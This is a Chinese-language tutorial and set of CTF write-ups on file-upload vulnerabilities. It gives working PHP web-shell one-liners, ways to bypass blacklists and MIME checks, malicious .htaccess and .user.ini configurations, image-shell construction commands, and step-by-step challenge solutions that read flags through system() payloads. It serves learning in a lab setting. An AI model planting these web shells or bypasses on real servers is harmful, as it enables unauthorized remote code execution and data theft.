基础知识

1、一句话木马

参考文章:(18条消息) Web安全-一句话木马_Tr0e的博客-CSDN博客_yijuhuamuma

1
<?php @eval($_POST['cmd']);?>

2、绕过方式

2.1、客户端检测绕过

按F12打开网络检测,提交一个非法格式的文件,若没有请求数据发送出去,直接判断出是非法格式则是客户端检测。

如图,只在客户端前端对文件格式是否为满足条件的png、bmp、gif、jpg进行了校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script type="text/javascript">
function checkFile(){
var flag = false;
var str = document.getElementById("file").value;
str = str.substring(str.lastIndexOf('.') + 1);
var arr = new Array('png','bmp','gif','jpg');
for (var i=0;i<arr.length;i++){
if(str==arr[i]){
flag = true;
}
}
if(!flag){
alert('文件不合法!');
}
return flag;
}
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

将.php后缀改为符合前段检测的.jsp,抓包修改后缀名为php即可绕过前端校验,如果是JS校验也可以选择禁用浏览器JS绕过。

Untitled

2.2 服务端MIME绕过

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型:

PNG图像:image/png

GIF图形: image/gif

JPG图形:image/jpeg

如下,将Content-TYpe修改为符合MIME检测的image/jpeg

Untitled

之后用蚁剑进行连接。

2.3 服务端目录检测绕过

在文件上传时,有的程序允许用户将文件放到指定的目录中,如果指定目录存在就将文件写入目录,不存在则先建立目录,然后写入。关键代码如下:

1
2
3
4
5
$upload_dir = $_POST['upload_dir'];

if (!is_dir($upload_dir)) {
mkdir($upload_dir);
}

在HTML页面有一个隐藏的表单,它默认提交的文件夹名称为value的值,即”uploads”。代码如下:

1
2
3
4
5
6
<form action="upload_dir.php" method="post" enctype="multipart/form-data">
选择上传文件:
<input type="hidden" name="upload_dir" value="uploads">
<input type="file" name="upload_file">
<input type="submit" name="submit" value="提交">
</form>

利用:如果在上传文件的数据包中存在能操作上传路径的参数,可修改该参数配合解析漏洞getshell。

如利用条件:php<5.3.4 配置条件:php.ini:magic_quotos_gcp = Off

Untitled

存在可控制上传路径的参数可结合其他姿势上传绕过, 如下,POST头内存在可控制上传路径的save_path参数,结合%00主动设置上传文件命名格式

Untitled

3、黑名单

3.1、特殊文件名绕过

  1. 大小写绕过

  2. 空格绕过

    使用burp抓包后在文件名后面加个空格

  3. 在文件后面加上.

    对于windows系统,文件最后一个符号是.时会被丢弃

  4. 在文件名后面加上. .(点空格点)

  5. 在文件名后加上::$DATA

    php+windows的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名。且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加::$DATA绕过。

  6. 双写绕过

    一些题目是把黑名单中的名字换成空格,则双写后缀名绕过

  7. 使用%00

    若修改上传路径为./upload/1.php%00,在后端会把上传路径与文件名进行拼接,然后%00会把后面的内容进行截断,从而修改文件名称。

  8. 使用0x00截断

    上传的文件名:在burp中修改空格的16进制把20改为00

3.2 上传配置文件绕过

  1. .htaccess配置文件

    条件:Apache 服务器

    1
    2
    3
    <FileMatch "自定义文件名">
    SetHandler applicatioin/x-httpd-php
    </FileMatch>

    只要上传的文件名包含自定义文件名,都会按照php来解析

  2. .user.ini配置文件(实用不大)

    1
    auto_perpend_file=1.jpg

    只要执行该目录下的php文件就包含1.jpg文件中的代码

    1.先上传个.user.ini文件,再上传个1.jpg内容是<?php phpinfo();?>

    2.若上传目录中没有php文件则自己手动创建一个,空的php文件。

    3.然后访问php文件就会执行1.jpg中的内容。

    4.上传的文件只要含有.htaccess中自定义文件名就可以当作php来解析。

4、漏洞解析

4.1 IIS解析漏洞

IIS6.0有两个解析漏洞,一个是如果目录名包含.asp、.asa、 .cer字符串,那么这个目录下所有的文件都会按照asp去解析。eg: “test.asp/1.jpg”另一个是只要文件名中含有.asp、 .asa、 .cer会优先按asp来解析eg: “1.asp; . jpg”.IIS7.0/ 7.5是对php解析时有一个类似于Nginx的解析漏洞 ,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。eg:“http:/ /www. target. com/upload/1. jpg/1. php”

4.2 nginx解析漏洞

目前Nginx主要有这两种漏洞:

1.对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg可以添加为test.jpg/x.php进行解析攻击。(实用)例如:http://www.target.com/upload/1.jpg/1.php

2.对低版本的Nginx可以在任意文件名后面添加%00.php(条件苛刻)例如:http://www.target.com/up1oad/1.jpg%00.php

对于nginx版本要求:nginx 0.5. ;nginx 0.6.*;nginx 0.7 <= 0.7 .65;nginx 0.8 <= 0.8.37

5、白名单

5.1 0x00或%00截断

同黑名单中的内容

5.2 利用文件包含漏洞

条件:

当一些文件上传漏洞waf比较难以绕过,只能使用图片名后缀但图片内容没有进行重新渲染时。

原理:

只要图片中存在可以执行的php语句,即使文件名是图片的格式,只要使用include(‘xxx,jpg’);就可以把图片当做php文件来解析。所以若可以配合文件包含漏洞将是一击重拳,很实用的。

5.3 漏洞解析

IIS解析漏洞:

IIS6.0有两个解析漏洞,一个是如果目录名包.asp、.asa、 .cer字符串,那么这个目录下所有的文件都会按照asp去解析。eg: “test.asp/1.jpg”另一个是只要文件名中含有.asp、 .asa、 .cer会优先按asp来解析eg: “1.asp; . jpg”.IIS7.0/ 7.5是对php解析时有一个类似于Nginx的解析漏洞 ,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。eg:“http:/ /www. target. com/upload/1. jpg/1. php”

nginx解析漏洞

目前Nginx主要有这两种漏洞:1.对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg可以添加为test.jpg/x.php进行解析攻击。(实用)例如:http://www.target.com/upload/1.jpg/1.php2.对低版本的Nginx可以在任意文件名后面添加%00.php(条件苛刻)例如:http://www.target.com/up1oad/1.jpg%00.php对于nginx版本要求:nginx 0.5. ;nginx 0.6.*;nginx 0.7 <= 0.7 .65;nginx 0.8 <= 0.8.37

5.4 文件内容检测

1.只检测文件头

php中一个检测函数getimagesize():可以检测一张图片的文件头,从文件头中判断照片的类型。所以,仅仅修改文件的后缀名是绕不过的。可以打开一张正常的图片,用记事本打开后在后面或者中间插入php语法。

制作图片马

windows下命令

1
copy 1.png/b+shell.php/a 2.png

1.png是正常的图片,shell.php是木马 2.png是新生成的图片马。linux下命令:

1
cat 1.png shell.php >2.png

2.对文件内容进行检测

可能考虑用户体验,只会检测前多少行内容,然后就可以一直重复文件内容,在后面加入脚本语言进行绕过。…/…/

1
2
3
http://192.168.18.129/dvwa/hackable/uploads/phpin.jpg
http://192.168.18.129/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/phpin.jpg
http://192.168.18.129/dvwa/vulnerabilities/upload/

例题巩固

【Web Level1】ez_upload

题目分析

  1. 打开题目之后提示我们上传文件, 上传一个我们提前写好的 php木马后, 出现提示

    3-1.png

  2. 为了能成功上传木马, 我们需要把后缀 php先改为 gif

    3-2.png

一句话木马内容

1
<?php @eval($_POST['zishuQ']);?>
  1. 此时我们再上传 zsq.gif, 提示上传成功, 并且得到了木马在服务器中的位置 uploads/zsq.gif

题解

  1. 打开 burp进行拦包, 注意是在上传成功之后再进行拦包

  2. 发送到 Repeater模块

  3. 发送之后就可以把 Proxy模块里面的 Intercept关掉, 不然后面蚁剑连接容易出错误

  4. 修改 filename, 将后缀 gif修改为 php, 以保证我们的代码能够正常执行

    3-5.png

  5. 打开蚁剑, 输入木马所在地址

    3-3.png

密码是在木马中POST传入的参数

  1. 连接成功, 进入靶机的服务器

  2. 找到 flag, 给他扬喽!

    3-4.png

flag{9f6acfb7-5a74-4a2f-ac21-c75bbe86f8fd}

解题心得

一道很典型很容易上手的文件上传题目, 没有耍太多心眼, 修改木马后缀名, 再用burp抓包修改成php后缀就成功了, 并且初步学习了蚁剑的用法

【Web Level2】EZ_upload-js

题目分析

  1. 以个人的做题感觉, 与上面一道题, 在分析和解题过程上没有太大差别, 只是找木马地址时有一些区别

  2. 打开题目我们首先上传一个后缀 php的文件, 果然寄了, 并提示我们要上传图片形式的文件

  3. 接着, 我们把上一道题用的木马 zsq.gif传上去

    3-6.png

  4. 下面我们需要获得木马的地址, 这道题并没有直接给我们, 那么是时候开启我们的burp了

题解

  1. 打开 burp进行拦包, 并发送到 Repeater模块
  2. 与上一道题一样, 修改 filename, 修改完点击 send发送, 木马上传成功
  3. 查看 Response中的有用信息, 寻找木马地址
  4. 成功找到地址

https://srunl53aaj.feishu.cn/space/api/box/stream/download/asynccode/?code=YmEwYjFlN2UyMWJiYzRlOGRiZWZiMjcwMzJjMmIwM2VfTGl3MVZDS3JKbHV4eDZxcWFXU1JZM2VzS3JPUWQycGVfVG9rZW46Ym94Y250b1B2NXdLUm1EUVliODBQMTVKN2VnXzE2NzMwMDI0MzE6MTY3MzAwNjAzMV9WNA

img

  1. 后面打开蚁剑, 进行连接, 步骤与上一题一样, 不再赘述
  2. 得到flag > flag{aee0-14b14124-fe03c361-1eed93589}

解题心得

个人认为文件上传主要有两个主要内容, 第一个是上传木马, 第二个是找到木马所在的位置, 上一道题是练习上传木马, 这一道题是练习寻找木马位置

【Web level 2】upload

题目分析

  1. 这道题给出了关键的三行判断代码, 很明显是是一道黑名单绕过的题目
  2. 根据代码, 在黑名单里面的后缀格式, 都会被转为””
  3. 尝试上传后缀php的文件

上传zsq.php, 在burp中拦包后发现, 只剩下了一个zsq.

3-8.png

  1. 尝试了很多种方法都寄了, 最后发现双写绕过的方法成功了

题解

  1. 随便改个后缀模式上传, 打开burp进行拦包处理
  2. 将后缀改为pphpph, 再次发送
  3. “php”会被替换为“”, p“php”hp在被替换之后会变成p“”hp, 也就是我们需要的php
  4. 打开蚁剑进行连接
  5. 找到flag, 扬喽!

解题心得

一道黑名单绕过的题目, 尝试并且学习了不少关于黑名单绕过的方法, 很有收获

【Web Level2】EZ_UPLOAD

题目分析

  1. 先随便传个php试试, 无法通过, 上传图片成功

  2. 用之前的方法, 上传zsq.png 用burp 抓包再修改后缀名, 发现还是无法通过

  3. 之后我们考虑上传配置文件的方法

    3-9.png

  4. 很奇怪, 上传.htaccess文件是成功的, 但是上传.user.ini文件就寄掉

  5. 后面查看源码发现, 是给.htaccess留了后门, 所以能够上传成功

1
2
3
4
5
6
7
8
9
10
11
12
if(  strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png"  || strtolower( $uploaded_ext ) == "htaccess" )
{
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo "<pre>fail</pre>";
}
else {
echo "<pre>{$target_path} 图片上传成功!</pre>";
}
}
else {
echo "<pre>你在传什么鬼啊</pre>";
}
  1. 那我们就写一个.htaccess文件传上去

题解

  1. 写一个.htaccess文件并上传
1
2
3
<FileMatch "zsq">
SetHandler application/x-httpd-php
</FileMatch>
  1. 上传zsq.png
  2. 打开蚁剑进行连接
  3. 此时的文件后缀直接用上传时的png就可以, 不需要用php(毕竟也没有zsq.php的文件)
  4. 成功连接
  5. 找到flag, 扬喽!

解题心得

这道题主要考察了上传配置文件绕过, 虽然对配置文件这样的写法还不了解, 但是照葫芦画瓢, 也能成功的解出

【Web level1】No Antsword

题目分析

  1. 审题知道,首先不能用蚁剑
  2. 那么我们考虑使用Linux的cmd命令来输出flag内容
  3. 首先上传zsq.gif并进行抓包
  4. 通过修改命令找到flag文件

解题

  1. 写好我们的一句话木马, 修改后缀gif并上传, 用burp抓包
1
<?php @system('ls .');?>
  1. 在当前目录没找到, 去上一级目录再找
1
<?php @system('ls ..');?>

flag.php uploads

  1. 运气很好, 找到flag的文件了
1
<?php @system('cat ../flag.php');?>
  1. 输出flag内容

解题心得

这道题主要考察一句话木马的使用以及对Linux命令的操作

【Web Level4】EZ_double_render

题目分析

这道题是通过图片的形式,将木马插入在图片中,以达到连接的作用,这里使用了工具010EditorPortable,用于图片的比对

题解

  1. 先随便找一张gif图,命名为1.gif
  2. 写一句话木马 ,命名为zsq.php
1
<?php @eval($_POST['zsq']);?>
  1. 在命令行中键入以下操作
1
copy 1.gif /b + zsq.php /a 2.gif
  1. 将图片上传,并从靶机中把图片下载到本地,命名为2_after.gif
  2. 使用010EditorPortable进行比对,寻找没有变化的部分
  3. 在没有变化的部分编辑一句话木马,并保存图片再次上传
  4. 上传后保存地址进行蚁剑连接
  5. 这里有一个file传参, 直接连接不能成功, 猜测是需要将图片地址传给参数file(xxx.xxx.xxx.xxx/?file=upload/2_after.gif)
  6. 拿到flag, 结束
  7. 更细节的步骤请查阅网址https://blog.csdn.net/weixin_45588247/article/details/119177948

个人心得

这道题其实我没用到步骤6., 因为我上传并拿下来的gif图没有被渲染,可以直接进行蚁剑的连接, 但是方法要学会。